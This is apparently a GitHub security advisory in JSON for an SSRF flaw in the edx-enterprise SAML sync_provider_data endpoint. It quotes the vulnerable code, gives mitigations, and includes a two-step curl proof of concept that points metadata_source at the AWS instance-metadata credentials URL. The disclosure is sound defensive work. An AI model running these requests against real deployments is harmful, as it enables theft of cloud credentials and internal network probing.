{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "edx-enterprise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.2"
            },
            {
              "fixed": "7.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42860"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T17:51:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `sync_provider_data` endpoint in `SAMLProviderDataViewSet` fetches SAML metadata from a URL stored in `SAMLProviderConfig.metadata_source`. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the `SAMLProviderConfigViewSet` PATCH endpoint, then trigger a server-side HTTP request by calling `sync_provider_data`. The fetch in `fetch_metadata_xml()` passes the URL directly to `requests.get()` with no scheme enforcement, IP filtering, or timeout.\n\nThis vulnerability was introduced when the SAML admin viewsets were migrated from `openedx-platform` into `edx-enterprise`. A related fix for the equivalent fetch path in `openedx-platform` (the `fetch_saml_metadata` Celery task) was applied in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9).\n\n## Details\n\n**Vulnerable code path:**\n\n`enterprise/api/v1/views/saml_utils.py`:\n```python\ndef fetch_metadata_xml(url):\n    log.info(\"Fetching %s\", url)\n    if not url.lower().startswith(\u0027https\u0027):\n        log.warning(\"This SAML metadata URL is not secure! (%s)\", url)\n    response = requests.get(url, verify=True)  # No IP/scheme validation\n    response.raise_for_status()\n```\n\n`enterprise/api/v1/views/saml_provider_data.py`:\n```python\n@action(detail=False, methods=[\u0027post\u0027], url_path=\u0027sync_provider_data\u0027)\ndef sync_provider_data(self, request):\n    ...\n    metadata_url = saml_provider.metadata_source  # set via SAMLProviderConfig PATCH\n    xml = fetch_metadata_xml(metadata_url)        # triggers the fetch\n```\n\n**Missing protections:**\n- No HTTPS enforcement (HTTP is allowed; the warning is not enforced)\n- No blocking of loopback (`127.0.0.0/8`) or link-local (`169.254.0.0/16`) ranges\n- No blocking of RFC 1918 private ranges\n- No request timeout\n\n## Proof of Concept\n\n**Prerequisites:** Authenticated user with `Enterprise Admin` role for any enterprise customer with a configured SAML Identity Provider.\n\n**Step 1:** Set a malicious metadata URL via the provider config endpoint:\n```bash\ncurl -X PATCH \u0027https://\u003cinstance\u003e/auth/saml/v0/provider_config/\u003cpk\u003e/\u0027 \\\n  -H \u0027Authorization: Bearer \u003cJWT\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"metadata_source\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}\u0027\n```\n\n**Step 2:** Trigger the server-side fetch:\n```bash\ncurl -X POST \u0027https://\u003cinstance\u003e/auth/saml/v0/provider_data/sync_provider_data\u0027 \\\n  -H \u0027Authorization: Bearer \u003cJWT\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"enterprise_customer_uuid\": \"\u003cuuid\u003e\"}\u0027\n```\n\nThe server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.\n\n## Impact\n\nAn Enterprise Admin can use this SSRF to:\n\n- **Steal cloud credentials:** Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.\n- **Scan internal networks:** Probe internal hosts, ports, and services behind the deployment\u0027s firewall.\n- **Access internal APIs:** Reach databases, admin panels, or microservices not exposed to the internet.\n\nEnterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.\n\n## Patches / Mitigations\n\nCall `validate_saml_metadata_url()` (importable from `common.djangoapps.third_party_auth.utils` as of the openedx-platform fix in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9)) in `fetch_metadata_xml()` before calling `requests.get()`. A request timeout should also be added.\n\nOperators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to `169.254.0.0/16` and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.",
  "id": "GHSA-64cv-vxpr-j6vc",
  "modified": "2026-05-05T17:51:50Z",
  "published": "2026-05-05T17:51:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openedx/edx-enterprise/security/advisories/GHSA-64cv-vxpr-j6vc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openedx/edx-enterprise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint"
}